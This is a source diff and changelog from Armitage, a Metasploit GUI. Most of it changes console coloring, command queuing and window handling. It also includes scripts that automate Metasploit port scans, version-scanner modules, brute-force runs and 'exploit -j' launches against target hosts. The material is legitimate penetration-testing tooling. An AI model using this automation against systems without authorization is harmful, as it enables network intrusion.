|
||||
yield 250;
|
||||
}
|
||||
}, \$console, $commands => shift(@launch)));
|
||||
}
|
||||
}
|
||||
}
|
||||
}, \$console, \%ports, \%discover, $start => 1, @launch => @(), $time => ticks())];
|
||||
|
||||
[[$console getWindow] append: "[*] Building list of scan ports and modules\n"];
|
||||
|
||||
# build up a list of scan ports
|
||||
foreach $index => $scanner (@modules) {
|
||||
if ($scanner ismatch 'scanner/(.*?)/\1_version') {
|
||||
%o = call($client, "module.options", "auxiliary", $scanner);
|
||||
if ('RPORT' in %o) {
|
||||
$port = %o['RPORT']['default'];
|
||||
push(%ports[$port], $scanner);
|
||||
}
|
||||
|
||||
safetyCheck();
|
||||
if ($text ismatch '... Scanned \d+ of \d+ hosts .100. complete.' && size(@launch) > 0) {
|
||||
[$queue append: "\n[*] " . size(@launch) . " scan" . iff(size(@launch) != 1, "s") . " to go..."];
|
||||
($module, $options) = shift(@launch);
|
||||
[$queue addCommand: $null, "use $module"];
|
||||
[$queue setOptions: $options];
|
||||
[$queue addCommand: $null, "run -j"];
|
||||
}
|
||||
else if ($text ismatch '... Scanned \d+ of \d+ hosts .100. complete.' && size(@launch) == 0) {
|
||||
$time = (ticks() - $time) / 1000.0;
|
||||
[$queue append: "\n[*] Scan complete in $time $+ s"];
|
||||
}
|
||||
}
|
||||
}, \$hosts, \%ports, \@modules, \%discover, \$queue, $time => ticks())];
|
||||
|
||||
# add these ports to our list of ports to scan.. these come from querying all of Metasploit's modules
|
||||
# for the default ports
|
||||
foreach $port (@(50000, 21, 1720, 80, 443, 143, 3306, 1521, 110, 5432, 50013, 25, 161, 22, 23, 17185, 135, 8080, 4848, 1433, 5560, 512, 513, 514, 445, 5900, 5038, 111, 139, 49, 515, 7787, 2947, 7144, 9080, 8812, 2525, 2207, 3050, 5405, 1723, 1099, 5555, 921, 10001, 123, 3690, 548, 617, 6112, 6667, 3632, 783, 10050, 38292, 12174, 2967, 5168, 3628, 7777, 6101, 10000, 6504, 41523, 41524, 2000, 1900, 10202, 6503, 6070, 6502, 6050, 2103, 41025, 44334, 2100, 5554, 12203, 26000, 4000, 1000, 8014, 5250, 34443, 8028, 8008, 7510, 9495, 1581, 8000, 18881, 57772, 9090, 9999, 81, 3000, 8300, 8800, 8090, 389, 10203, 5093, 1533, 13500, 705, 623, 4659, 20031, 16102, 6080, 6660, 11000, 19810, 3057, 6905, 1100, 10616, 10628, 5051, 1582, 65535, 105, 22222, 30000, 113, 1755, 407, 1434, 2049, 689, 3128, 20222, 20034, 7580, 7579, 38080, 12401, 910, 912, 11234, 46823, 5061, 5060, 2380, 69, 5800, 62514, 42, 5631, 902)) {
|
||||
$temp = %ports[$port];
|
||||
}
|
||||
|
||||
# add a few left out modules
|
||||
push(%ports['445'], "scanner/smb/smb_version");
|
||||
|
||||
[[$console getWindow] append: "[*] Launching TCP scan\n"];
|
||||
[$console sendString: "use auxiliary/scanner/portscan/tcp\n"];
|
||||
[$console sendString: "set PORTS " . join(", ", keys(%ports)) . "\n"];
|
||||
[$console sendString: "set RHOSTS $hosts $+ \n"];
|
||||
[$console sendString: "set THREADS 24\n"];
|
||||
[$console sendString: "run -j\n"];
|
||||
}
|
||||
[$queue start];
|
||||
}, \$hosts, \@modules));
|
||||
}
|
||||
|
|
|
@ -323,9 +323,9 @@ sub launchBruteForce {
|
|||
[$console addCommand: $null, "use $type $+ / $+ $module"];
|
||||
foreach $key => $value ($options) {
|
||||
$value = strrep($value, '\\', '\\\\');
|
||||
[$console addCommand: $null, "set $key $value"];
|
||||
}
|
||||
[$console addCommand: $null, "set REMOVE_USERPASS_FILE true"];
|
||||
$options['REMOVE_USERPASS_FILE'] = "true";
|
||||
[$console setOptions: $options];
|
||||
[$console addCommand: $null, "run -j"];
|
||||
[$console start];
|
||||
}, $type => $1, $module => $2, $options => $3, $title => $4));
|
||||
|
|
|
@ -47,8 +47,6 @@ sub client {
|
|||
%async['module.execute'] = 1;
|
||||
%async['core.setg'] = 1;
|
||||
%async['console.destroy'] = 1;
|
||||
%async['console.write'] = 1;
|
||||
%async['session.shell_write'] = 1;
|
||||
|
||||
#
|
||||
# verify the client
|
||||
|
@ -189,13 +187,15 @@ sub client {
|
|||
release($poll_lock);
|
||||
writeObject($handle, result(%()));
|
||||
}
|
||||
else if ($method eq "armitage.push") {
|
||||
($null, $data) = $args;
|
||||
event("< $+ $[10]eid $+ > " . $data);
|
||||
writeObject($handle, result(%()));
|
||||
}
|
||||
else if ($method eq "armitage.poll") {
|
||||
else if ($method eq "armitage.poll" || $method eq "armitage.push") {
|
||||
acquire($poll_lock);
|
||||
if ($method eq "armitage.push") {
|
||||
($null, $data) = $args;
|
||||
foreach $temp (split("\n", $data)) {
|
||||
push(@events, formatDate("HH:mm:ss") . " < $+ $[10]eid $+ > " . $data);
|
||||
}
|
||||
}
|
||||
|
||||
if (size(@events) > $index) {
|
||||
$rv = result(%(data => join("", sublist(@events, $index)), encoding => "base64", prompt => "$eid $+ > "));
|
||||
$index = size(@events);
|
||||
|
|
|
@ -69,10 +69,33 @@ sub cleanText {
|
|||
return tr($1, "\x01\x02", "");
|
||||
}
|
||||
|
||||
sub setupConsoleStyle {
|
||||
this('$style');
|
||||
if ($style is $null) {
|
||||
local('$handle');
|
||||
$handle = [SleepUtils getIOHandle: resource("resources/msfconsole.style"), $null];
|
||||
$style = join("\n", readAll($handle));
|
||||
closef($handle);
|
||||
}
|
||||
[$1 setStyle: $style];
|
||||
}
|
||||
|
||||
sub setupEventStyle {
|
||||
this('$style');
|
||||
if ($style is $null) {
|
||||
local('$handle');
|
||||
$handle = [SleepUtils getIOHandle: resource("resources/eventlog.style"), $null];
|
||||
$style = join("\n", readAll($handle));
|
||||
closef($handle);
|
||||
}
|
||||
[$1 setStyle: $style];
|
||||
}
|
||||
|
||||
sub createDisplayTab {
|
||||
local('$console $host $queue $file');
|
||||
$queue = [new ConsoleQueue: $client];
|
||||
$console = [new Console: $preferences];
|
||||
setupConsoleStyle($console);
|
||||
[$queue setDisplay: $console];
|
||||
[new QueueTabCompletion: $console, $queue];
|
||||
logCheck($console, iff($host, $host, "all"), iff($file, $file, strrep($1, " ", "_")));
|
||||
|
@ -84,6 +107,7 @@ sub createDisplayTab {
|
|||
sub createConsolePanel {
|
||||
local('$console $result $thread $1');
|
||||
$console = [new Console: $preferences];
|
||||
setupConsoleStyle($console);
|
||||
|
||||
$result = call($client, "console.create");
|
||||
$thread = [new ConsoleClient: $console, $client, "console.read", "console.write", "console.destroy", $result['id'], $1];
|
||||
|
@ -114,9 +138,6 @@ sub createConsolePanel {
|
|||
else if ($word in @payloads) {
|
||||
[$thread sendString: "set PAYLOAD $word $+ \n"];
|
||||
}
|
||||
else if (-exists $word && !$REMOTE) {
|
||||
saveFile($word);
|
||||
}
|
||||
}, \$thread)];
|
||||
|
||||
return @($result['id'], $console, $thread);
|
||||
|
@ -135,9 +156,7 @@ sub createConsoleTab {
|
|||
logCheck($console, $host, $file);
|
||||
}
|
||||
|
||||
dispatchEvent(lambda({
|
||||
[$frame addTab: iff($title is $null, "Console", $title), $console, $thread, $host];
|
||||
}, $title => $1, \$console, \$thread, \$host));
|
||||
[$frame addTab: iff($1 is $null, "Console", $1), $console, $thread, $host];
|
||||
return $thread;
|
||||
}
|
||||
|
||||
|
@ -455,10 +474,8 @@ sub module_execute {
|
|||
$queue = createDisplayTab($1, \$host);
|
||||
|
||||
[$queue addCommand: $null, "use $1 $+ / $+ $2"];
|
||||
foreach $key => $value ($3) {
|
||||
[$queue addCommand: $null, "set $key $value"];
|
||||
}
|
||||
|
||||
[$queue setOptions: $3];
|
||||
|
||||
if ($1 eq "exploit") {
|
||||
[$queue addCommand: $null, "exploit -j"];
|
||||
}
|
||||
|
|
|
@ -165,19 +165,30 @@ public class ArmitageApplication extends JFrame {
|
|||
i.remove();
|
||||
|
||||
/* pop goes the tab! */
|
||||
JFrame r = new JFrame(t.title);
|
||||
final JFrame r = new JFrame(t.title);
|
||||
r.setIconImages(getIconImages());
|
||||
r.setLayout(new BorderLayout());
|
||||
r.add(t.component, BorderLayout.CENTER);
|
||||
r.pack();
|
||||
r.setVisible(true);
|
||||
|
||||
r.addWindowListener(new WindowAdapter() {
|
||||
public void windowClosing(WindowEvent ev) {
|
||||
if (t.removeListener != null)
|
||||
t.removeListener.actionPerformed(new ActionEvent(ev.getSource(), 0, "close"));
|
||||
}
|
||||
|
||||
public void windowOpened(WindowEvent ev) {
|
||||
r.setState(JFrame.NORMAL);
|
||||
t.component.requestFocusInWindow();
|
||||
}
|
||||
|
||||
public void windowActivated(WindowEvent ev) {
|
||||
t.component.requestFocusInWindow();
|
||||
}
|
||||
});
|
||||
|
||||
r.setState(JFrame.ICONIFIED);
|
||||
r.setVisible(true);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -6,6 +6,7 @@ import sleep.console.*;
|
|||
import sleep.bridges.*;
|
||||
import sleep.error.*;
|
||||
import sleep.engine.*;
|
||||
import sleep.parser.ParserConfig;
|
||||
|
||||
import java.util.*;
|
||||
|
||||
|
@ -79,6 +80,11 @@ public class ArmitageMain implements RuntimeWarningWatcher, Loadable, Function {
|
|||
}
|
||||
|
||||
public ArmitageMain(String[] args) {
|
||||
/* tweak the parser to recognize a few useful escapes */
|
||||
ParserConfig.installEscapeConstant('c', console.Colors.color + "");
|
||||
ParserConfig.installEscapeConstant('o', console.Colors.cancel + "");
|
||||
|
||||
/* setup a function or two */
|
||||
Hashtable environment = new Hashtable();
|
||||
environment.put("&resource", this);
|
||||
|
||||
|
|
|
@ -143,8 +143,13 @@ public class ConsoleClient implements Runnable, ActionListener {
|
|||
}
|
||||
}
|
||||
|
||||
connection.execute(writeCommand, new Object[] { session, text });
|
||||
read = readResponse();
|
||||
if ("armitage.push".equals(writeCommand)) {
|
||||
read = (Map)connection.execute(writeCommand, new Object[] { session, text });
|
||||
}
|
||||
else {
|
||||
connection.execute(writeCommand, new Object[] { session, text });
|
||||
read = readResponse();
|
||||
}
|
||||
processRead(read);
|
||||
|
||||
fireSessionWroteEvent(text);
|
||||
|
|
|
@ -21,8 +21,9 @@ public class ConsoleQueue implements Runnable {
|
|||
protected Console display = null;
|
||||
|
||||
private static class Command {
|
||||
public Object token;
|
||||
public String text;
|
||||
public Object token = null;
|
||||
public String text = null;
|
||||
public Map assign = null;
|
||||
public long start = System.currentTimeMillis();
|
||||
}
|
||||
|
||||
|
@ -92,6 +93,78 @@ public class ConsoleQueue implements Runnable {
|
|||
}
|
||||
|
||||
protected void processCommand(Command c) {
|
||||
if (c.assign == null) {
|
||||
processNormalCommand(c);
|
||||
}
|
||||
else {
|
||||
processAssignCommand(c);
|
||||
}
|
||||
}
|
||||
|
||||
protected void processAssignCommand(Command c) {
|
||||
try {
|
||||
/* absorb anything misc */
|
||||
Map read = readResponse();
|
||||
String prompt = ConsoleClient.cleanText(read.get("prompt") + "");
|
||||
|
||||
StringBuffer writeme = new StringBuffer();
|
||||
Set expected = new HashSet();
|
||||
|
||||
/* loop through our values to assign */
|
||||
Iterator i = c.assign.entrySet().iterator();
|
||||
while (i.hasNext()) {
|
||||
Map.Entry entry = (Map.Entry)i.next();
|
||||
String key = entry.getKey() + "";
|
||||
String value = entry.getValue() + "";
|
||||
writeme.append("set " + key + " " + value + "\n");
|
||||
expected.add(key);
|
||||
}
|
||||
|
||||
/* write our command to whateverz */
|
||||
connection.execute("console.write", new Object[] { consoleid, writeme.toString() });
|
||||
|
||||
long start = System.currentTimeMillis();
|
||||
|
||||
/* process through all of our values */
|
||||
while (expected.size() > 0) {
|
||||
Thread.yield();
|
||||
Map temp = (Map)(connection.execute("console.read", new Object[] { consoleid }));
|
||||
if (!isEmptyData(temp.get("data") + "")) {
|
||||
String[] lines = (temp.get("data") + "").split("\n");
|
||||
for (int x = 0; x < lines.length; x++) {
|
||||
if (lines[x].indexOf(" => ") != -1) {
|
||||
String[] kv = lines[x].split(" => ");
|
||||
|
||||
/* remove any set variables from our set of stuff */
|
||||
expected.remove(kv[0]);
|
||||
|
||||
if (display != null) {
|
||||
display.append(prompt + "set " + kv[0] + " " + kv[1] + "\n");
|
||||
display.append(lines[x] + "\n");
|
||||
}
|
||||
}
|
||||
else if (display != null) {
|
||||
display.append(lines[x] + "\n");
|
||||
}
|
||||
else {
|
||||
System.err.println("Batch read unexpected: " + lines[x]);
|
||||
}
|
||||
}
|
||||
}
|
||||
else if ((System.currentTimeMillis() - start) > 10000) {
|
||||
/* this is a safety check to keep a console from spinning waiting for one command to complete. Shouldn't trigger--unless I mess up :) */
|
||||
System.err.println("Timed out: " + c.assign + " vs. " + expected);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex) {
|
||||
System.err.println(consoleid + " -> " + c.text);
|
||||
ex.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
protected void processNormalCommand(Command c) {
|
||||
Map read = null;
|
||||
try {
|
||||
if (c.text.startsWith("ECHO ")) {
|
||||
|
@ -161,6 +234,20 @@ public class ConsoleQueue implements Runnable {
|
|||
}
|
||||
}
|
||||
|
||||
public void append(String text) {
|
||||
addCommand(null, "ECHO " + text + "\n");
|
||||
}
|
||||
|
||||
public void setOptions(Map options) {
|
||||
synchronized (this) {
|
||||
Command temp = new Command();
|
||||
temp.token = null;
|
||||
temp.text = null;
|
||||
temp.assign = options;
|
||||
commands.add(temp);
|
||||
}
|
||||
}
|
||||
|
||||
public void addCommand(Object token, String text) {
|
||||
synchronized (this) {
|
||||
if (text.trim().equals("")) {
|
||||
|
|
|
@ -0,0 +1,173 @@
|
|||
package console;
|
||||
|
||||
import java.awt.*;
|
||||
import java.awt.event.*;
|
||||
|
||||
import javax.swing.*;
|
||||
import javax.swing.text.*;
|
||||
|
||||
/* a class for managing and parsing colors */
|
||||
public class Colors {
|
||||
public static final char bold = (char)2;
|
||||
public static final char underline = (char)31;
|
||||
public static final char color = (char)3;
|
||||
public static final char cancel = (char)15;
|
||||
public static final char reverse = (char)22;
|
||||
|
||||
private static final class Fragment {
|
||||
protected SimpleAttributeSet attr = new SimpleAttributeSet();
|
||||
protected StringBuffer text = new StringBuffer(32);
|
||||
protected Fragment next = null;
|
||||
|
||||
public void advance() {
|
||||
next = new Fragment();
|
||||
next.attr = (SimpleAttributeSet)attr.clone();
|
||||
}
|
||||
}
|
||||
|
||||
protected boolean showcolors = true;
|
||||
|
||||
public Colors(java.util.Properties prefs) {
|
||||
colorTable = new Color[16];
|
||||
colorTable[0] = Color.white;
|
||||
colorTable[1] = new Color(0, 0, 0);
|
||||
colorTable[2] = Color.decode("#3465A4");
|
||||
colorTable[3] = Color.decode("#4E9A06");
|
||||
colorTable[4] = Color.decode("#EF2929"); //new Color(255, 0, 0);
|
||||
colorTable[5] = Color.decode("#CC0000");
|
||||
colorTable[6] = Color.decode("#75507B");
|
||||
colorTable[7] = Color.decode("#C4A000");
|
||||
colorTable[8] = Color.decode("#FCE94F");
|
||||
colorTable[9] = Color.decode("#8AE234");
|
||||
colorTable[10] = Color.decode("#06989A");
|
||||
colorTable[11] = Color.decode("#34E2E2");
|
||||
colorTable[12] = Color.decode("#729FCF");
|
||||
colorTable[13] = Color.decode("#AD7FA8");
|
||||
//colorTable[14] = Color.decode("#555753");
|
||||
colorTable[14] = Color.decode("#808080");
|
||||
colorTable[15] = Color.lightGray;
|
||||
|
||||
for (int x = 0; x < 16; x++) {
|
||||
String temps = prefs.getProperty("console.color_" + x + ".color", null);
|
||||
//System.err.println("console.color_" + x + ".color=\\#" + Integer.toHexString(colorTable[x].getRGB()).substring(2));
|
||||
if (temps != null) {
|
||||
colorTable[x] = Color.decode(temps);
|
||||
}
|
||||
}
|
||||
|
||||
/* do we want to show colors or automatically strip all of them? */
|
||||
showcolors = "true".equals(prefs.getProperty("console.show_colors.boolean", "true"));
|
||||
}
|
||||
|
||||
protected Color colorTable[];
|
||||
|
||||
/* strip format codes from the text */
|
||||
public String strip(String text) {
|
||||
Fragment f = parse(text);
|
||||
return strip(f);
|
||||
}
|
||||
|
||||
private String strip(Fragment f) {
|
||||
StringBuffer buffer = new StringBuffer(128);
|
||||
while (f != null) {
|
||||
buffer.append(f.text);
|
||||
f = f.next;
|
||||
}
|
||||
return buffer.toString();
|
||||
}
|
||||
|
||||
private void append(StyledDocument doc, Fragment f) {
|
||||
while (f != null) {
|
||||
try {
|
||||
if (f.text.length() > 0)
|
||||
doc.insertString(doc.getLength(), f.text.toString(), f.attr);
|
||||
}
|
||||
catch (Exception ex) {
|
||||
ex.printStackTrace();
|
||||
}
|
||||
f = f.next;
|
||||
}
|
||||
}
|
||||
|
||||
public void append(JTextPane console, String text) {
|
||||
StyledDocument doc = console.getStyledDocument();
|
||||
Fragment f = parse(text);
|
||||
if (showcolors) {
|
||||
append(doc, f);
|
||||
}
|
||||
else {
|
||||
append(doc, parse(strip(f)));
|
||||
}
|
||||
}
|
||||
|
||||
public void set(JTextPane console, String text) {
|
||||
/* don't update that which we do not need to update */
|
||||
Fragment f = parse(text);
|
||||
if (strip(f).equals(console.getText())) {
|
||||
return;
|
||||
}
|
||||
|
||||
StyledDocument doc = console.getStyledDocument();
|
||||
try {
|
||||
doc.remove(0, doc.getLength());
|
||||
if (showcolors)
|
||||
append(doc, f);
|
||||
else
|
||||
append(doc, parse(strip(f)));
|
||||
}
|
||||
catch (BadLocationException ex) { ex.printStackTrace(); }
|
||||
|
||||
/* this is a dumb hack to prevent the height from getting out of whack */
|
||||
console.setSize(new Dimension(1000, console.getSize().height));
|
||||
}
|
||||
|
||||
private Fragment parse(String text) {
|
||||
|
||||
Fragment current = new Fragment();
|
||||
Fragment first = current;
|
||||
|
||||
if (text == null)
|
||||
return current;
|
||||
|
||||
char[] data = text.toCharArray();
|
||||
int fore, back;
|
||||
|
||||
for (int x = 0; x < data.length; x++) {
|
||||
switch (data[x]) {
|
||||
case bold:
|
||||
current.advance();
|
||||
StyleConstants.setBold(current.next.attr, !StyleConstants.isBold(current.attr));
|
||||
current = current.next;
|
||||
break;
|
||||
case underline:
|
||||
current.advance();
|
||||
StyleConstants.setUnderline(current.next.attr, !StyleConstants.isUnderline(current.attr));
|
||||
current = current.next;
|
||||
break;
|
||||
case color: /* look for 0-9a-f = 16 colors */
|
||||
current.advance();
|
||||
if ((x + 1) < data.length && ((data[x + 1] >= '0' && data[x + 1] <= '9') || (data[x + 1] >= 'A' && data[x + 1] <= 'F'))) {
|
||||
int index = Integer.parseInt(data[x + 1] + "", 16);
|
||||
StyleConstants.setForeground(current.next.attr, colorTable[index]);
|
||||
x += 1;
|
||||
}
|
||||
current = current.next;
|
||||
break;
|
||||
case '\n':
|
||||
current.advance();
|
||||
current = current.next;
|
||||
current.attr = new SimpleAttributeSet();
|
||||
current.text.append(data[x]);
|
||||
break;
|
||||
case cancel:
|
||||
current.advance();
|
||||
current = current.next;
|
||||
current.attr = new SimpleAttributeSet();
|
||||
break;
|
||||
default:
|
||||
current.text.append(data[x]);
|
||||
}
|
||||
}
|
||||
return first;
|
||||
}
|
||||
}
|
|
@ -11,19 +11,21 @@ import java.awt.event.*;
|
|||
import java.io.PrintStream;
|
||||
|
||||
import java.util.*;
|
||||
import java.util.regex.*;
|
||||
|
||||
import armitage.Activity;
|
||||
|
||||
/** A generic multi-feature console for use in the Armitage network attack tool */
|
||||
public class Console extends JPanel implements FocusListener {
|
||||
protected JTextArea console;
|
||||
protected JTextPane console;
|
||||
protected JTextField input;
|
||||
protected JLabel prompt;
|
||||
protected JTextPane prompt;
|
||||
|
||||
protected PrintStream log = null;
|
||||
|
||||
protected Properties display;
|
||||
protected Font consoleFont;
|
||||
protected Colors colors;
|
||||
|
||||
protected ClickListener clickl;
|
||||
|
||||
|
@ -56,7 +58,7 @@ public class Console extends JPanel implements FocusListener {
|
|||
public ClickListener(Console parent) {
|
||||
this.parent = parent;
|
||||
}
|
||||
|
||||
|
||||
public void setPopup(ConsolePopup popup) {
|
||||
this.popup = popup;
|
||||
}
|
||||
|
@ -120,7 +122,7 @@ public class Console extends JPanel implements FocusListener {
|
|||
String temp = data.substring(start, end).trim();
|
||||
int a = temp.indexOf("\n");
|
||||
if (a > 0) {
|
||||
return temp.substring(0, a);
|
||||
return temp.substring(0, a);
|
||||
}
|
||||
return temp;
|
||||
}
|
||||
|
@ -139,6 +141,8 @@ public class Console extends JPanel implements FocusListener {
|
|||
}
|
||||
|
||||
private void updateComponentLooks() {
|
||||
colors = new Colors(display);
|
||||
|
||||
Color foreground = Color.decode(display.getProperty("console.foreground.color", "#ffffff"));
|
||||
Color background = Color.decode(display.getProperty("console.background.color", "#000000"));
|
||||
|
||||
|
@ -146,7 +150,10 @@ public class Console extends JPanel implements FocusListener {
|
|||
while (i.hasNext()) {
|
||||
JComponent component = (JComponent)i.next();
|
||||
component.setForeground(foreground);
|
||||
component.setBackground(background);
|
||||
if (component == console || component == prompt)
|
||||
component.setOpaque(false);
|
||||
else
|
||||
component.setBackground(background);
|
||||
component.setFont(consoleFont);
|
||||
|
||||
if (component == console || component == prompt) {
|
||||
|
@ -173,11 +180,11 @@ public class Console extends JPanel implements FocusListener {
|
|||
public void setPrompt(String text) {
|
||||
String bad = "\ufffd\ufffd";
|
||||
if (text.equals(bad) || text.equals("null")) {
|
||||
prompt.setText(defaultPrompt);
|
||||
colors.set(prompt, fixText(defaultPrompt));
|
||||
}
|
||||
else {
|
||||
defaultPrompt = text;
|
||||
prompt.setText(text);
|
||||
colors.set(prompt, fixText(text));
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -196,15 +203,64 @@ public class Console extends JPanel implements FocusListener {
|
|||
}
|
||||
}
|
||||
|
||||
protected void appendToConsole(String _text) {
|
||||
if (_text.endsWith("\n") || _text.endsWith("\r")) {
|
||||
if (!promptLock) {
|
||||
console.append(_text);
|
||||
if (log != null)
|
||||
log.print(_text);
|
||||
private static class Replacements {
|
||||
public Pattern original;
|
||||
public String replacer;
|
||||
|
||||
public Replacements(String o, String r) {
|
||||
original = Pattern.compile(o);
|
||||
replacer = r;
|
||||
}
|
||||
}
|
||||
|
||||
public void setStyle(String text) {
|
||||
String lines[] = text.trim().split("\n");
|
||||
colorme = new Replacements[lines.length];
|
||||
for (int x = 0; x < lines.length; x++) {
|
||||
String ab[] = lines[x].split("\\t+");
|
||||
if (ab.length == 2) {
|
||||
ab[1] = ab[1].replace("\\c", Colors.color + "");
|
||||
ab[1] = ab[1].replace("\\o", Colors.cancel + "");
|
||||
ab[1] = ab[1].replace("\\u", Colors.underline + "");
|
||||
colorme[x] = new Replacements(ab[0], ab[1]);
|
||||
}
|
||||
else {
|
||||
console.append(prompt.getText());
|
||||
System.err.println(lines[x] + "<-- didn't split right:" + ab.length);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
protected Replacements colorme[] = null;
|
||||
|
||||
protected String fixText(String text) {
|
||||
if (colorme == null)
|
||||
return text;
|
||||
|
||||
StringBuffer result = new StringBuffer();
|
||||
String[] lines = text.split("(?<=\\n)");
|
||||
|
||||
for (int x = 0; x < lines.length; x++) {
|
||||
String temp = lines[x];
|
||||
for (int y = 0; y < colorme.length; y++) {
|
||||
if (colorme[y] != null)
|
||||
temp = colorme[y].original.matcher(temp).replaceFirst(colorme[y].replacer);
|
||||
}
|
||||
result.append(temp);
|
||||
}
|
||||
return result.toString();
|
||||
}
|
||||
|
||||
protected void appendToConsole(String _text) {
|
||||
_text = fixText(_text);
|
||||
|
||||
if (_text.endsWith("\n") || _text.endsWith("\r")) {
|
||||
if (!promptLock) {
|
||||
colors.append(console, _text);
|
||||
if (log != null)
|
||||
log.print(colors.strip(_text));
|
||||
}
|
||||
else {
|
||||
colors.append(console, prompt.getText());
|
||||
}
|
||||
|
||||
if (!_text.startsWith(prompt.getText()))
|
||||
|
@ -214,18 +270,17 @@ public class Console extends JPanel implements FocusListener {
|
|||
int breakp = _text.lastIndexOf("\n");
|
||||
|
||||
if (breakp != -1) {
|
||||
console.append(_text.substring(0, breakp + 1));
|
||||
prompt.setText(_text.substring(breakp + 1) + " ");
|
||||
colors.append(console, _text.substring(0, breakp + 1));
|
||||
updatePrompt(_text.substring(breakp + 1) + " ");
|
||||
if (log != null)
|
||||
log.print(_text.substring(0, breakp + 1));
|
||||
log.print(colors.strip(_text.substring(0, breakp + 1)));
|
||||
}
|
||||
else {
|
||||
prompt.setText(_text);
|
||||
updatePrompt(_text);
|
||||
}
|
||||
promptLock = true;
|
||||
}
|
||||
|
||||
|
||||
if (console.getDocument().getLength() >= 1) {
|
||||
console.setCaretPosition(console.getDocument().getLength() - 1);
|
||||
}
|
||||
|
@ -276,9 +331,9 @@ public class Console extends JPanel implements FocusListener {
|
|||
|
||||
/* init the console */
|
||||
|
||||
console = new JTextArea();
|
||||
console = new JTextPane();
|
||||
console.setEditable(false);
|
||||
console.setLineWrap(true);
|
||||
//console.setLineWrap(true);
|
||||
console.addFocusListener(this);
|
||||
|
||||
JScrollPane scroll = new JScrollPane(
|
||||
|
@ -290,7 +345,8 @@ public class Console extends JPanel implements FocusListener {
|
|||
|
||||
/* init the prompt */
|
||||
|
||||
prompt = new JLabel();
|
||||
prompt = new JTextPane();
|
||||
prompt.setEditable(false);
|
||||
|
||||
/* init the input */
|
||||
|
||||
|
@ -373,6 +429,13 @@ public class Console extends JPanel implements FocusListener {
|
|||
/* setup our word click listener */
|
||||
clickl = new ClickListener(this);
|
||||
console.addMouseListener(clickl);
|
||||
|
||||
/* work-around for Nimbus L&F */
|
||||
Color background = Color.decode(display.getProperty("console.background.color", "#000000"));
|
||||
console.setBackground(new Color(0,0,0,0));
|
||||
prompt.setBackground(new Color(0,0,0,0));
|
||||
scroll.getViewport().setBackground(background);
|
||||
console.setOpaque(false);
|
||||
}
|
||||
|
||||
public JPopupMenu getPopupMenu(final JTextComponent _component) {
|
||||
|
|
|
@ -17,18 +17,24 @@ public class Display extends JPanel {
|
|||
protected JTextPane console;
|
||||
protected Properties display;
|
||||
protected Font consoleFont;
|
||||
protected Colors colors;
|
||||
|
||||
protected LinkedList components = new LinkedList();
|
||||
|
||||
private void updateComponentLooks() {
|
||||
colors = new Colors(display);
|
||||
|
||||
Color foreground = Color.decode(display.getProperty("console.foreground.color", "#ffffff"));
|
||||
Color background = Color.decode(display.getProperty("console.background.color", "#000000"));
|
||||
|
||||
Iterator i = components.iterator();
|
||||
while (i.hasNext()) {
|
||||
JComponent component = (JComponent)i.next();
|
||||
if (component == console)
|
||||
component.setOpaque(false);
|
||||
else
|
||||
component.setBackground(background);
|
||||
component.setForeground(foreground);
|
||||
component.setBackground(background);
|
||||
component.setFont(consoleFont);
|
||||
|
||||
if (component == console) {
|
||||
|
@ -45,48 +51,23 @@ public class Display extends JPanel {
|
|||
}
|
||||
}
|
||||
|
||||
private static Map colors = new HashMap();
|
||||
|
||||
public static AttributeSet getColor(String index, Properties preferences, String def) {
|
||||
synchronized (colors) {
|
||||
if (colors.get(index) == null) {
|
||||
SimpleAttributeSet attrs = new SimpleAttributeSet();
|
||||
Color temp = Color.decode(preferences.getProperty("console.color_" + index + ".color", def));
|
||||
StyleConstants.setForeground(attrs, temp);
|
||||
colors.put(index, attrs);
|
||||
}
|
||||
return (SimpleAttributeSet)colors.get(index);
|
||||
}
|
||||
}
|
||||
|
||||
public void append(final String text, final String index, final String fg) {
|
||||
public void append(final String text) {
|
||||
if (SwingUtilities.isEventDispatchThread()) {
|
||||
_append(text, index, fg);
|
||||
_append(text);
|
||||
}
|
||||
else {
|
||||
SwingUtilities.invokeLater(new Runnable() {
|
||||
public void run() {
|
||||
_append(text, index, fg);
|
||||
_append(text);
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
public void _append(String text, String index, String foreground) {
|
||||
try {
|
||||
Rectangle r = console.getVisibleRect();
|
||||
StyledDocument doc = console.getStyledDocument();
|
||||
if (foreground == null) {
|
||||
doc.insertString(doc.getLength(), text, null);
|
||||
}
|
||||
else {
|
||||
doc.insertString(doc.getLength(), text, getColor(index, display, foreground));
|
||||
}
|
||||
console.scrollRectToVisible(r);
|
||||
}
|
||||
catch(Exception e) {
|
||||
System.out.println(e);
|
||||
}
|
||||
public void _append(String text) {
|
||||
Rectangle r = console.getVisibleRect();
|
||||
colors.append(console, text);
|
||||
console.scrollRectToVisible(r);
|
||||
}
|
||||
|
||||
public void setText(final String _text) {
|
||||
|
|
|
@ -74,7 +74,7 @@ public class SearchPanel extends JPanel implements ActionListener {
|
|||
try {
|
||||
String text = component.getText();
|
||||
int lastIndex = -1;
|
||||
while ((lastIndex = text.indexOf(searchstr, lastIndex + 1)) != -1) {
|
||||
while ((lastIndex = text.replaceAll("\r", "").indexOf(searchstr, lastIndex + 1)) != -1) {
|
||||
component.getHighlighter().addHighlight(
|
||||
lastIndex,
|
||||
lastIndex + searchstr.length(),
|
||||
|
|
|
@ -1,6 +1,36 @@
|
|||
Armitage Changelog
|
||||
==================
|
||||
|
||||
21 May 12
|
||||
---------
|
||||
- Added a hack to prevent the input area from flickering when the
|
||||
prompt changes.
|
||||
- Updated the color palette to something a little more subtle.
|
||||
- Added an optimization to how modules are launched. This will make
|
||||
a difference for team use in high latency situations.
|
||||
- Rewrote MSF Scans feature to use console queue. This option is more
|
||||
reliable and it makes the code easier to follow.
|
||||
- Added a hack to combine chat message writes with a read request.
|
||||
This will make the event log more responsive in a high latency
|
||||
situation (can't you tell I care about this "situation")
|
||||
- Fixed text highlights through Ctrl+F on Windows. UNIX platforms
|
||||
were always OK. Another good reason to not use these tools on
|
||||
Windows. Ever.
|
||||
- View -> Downloads Sync Files feature now works on Windows. It looks
|
||||
like leaving those pesky :'s in the file paths is bad.
|
||||
|
||||
17 May 12
|
||||
---------
|
||||
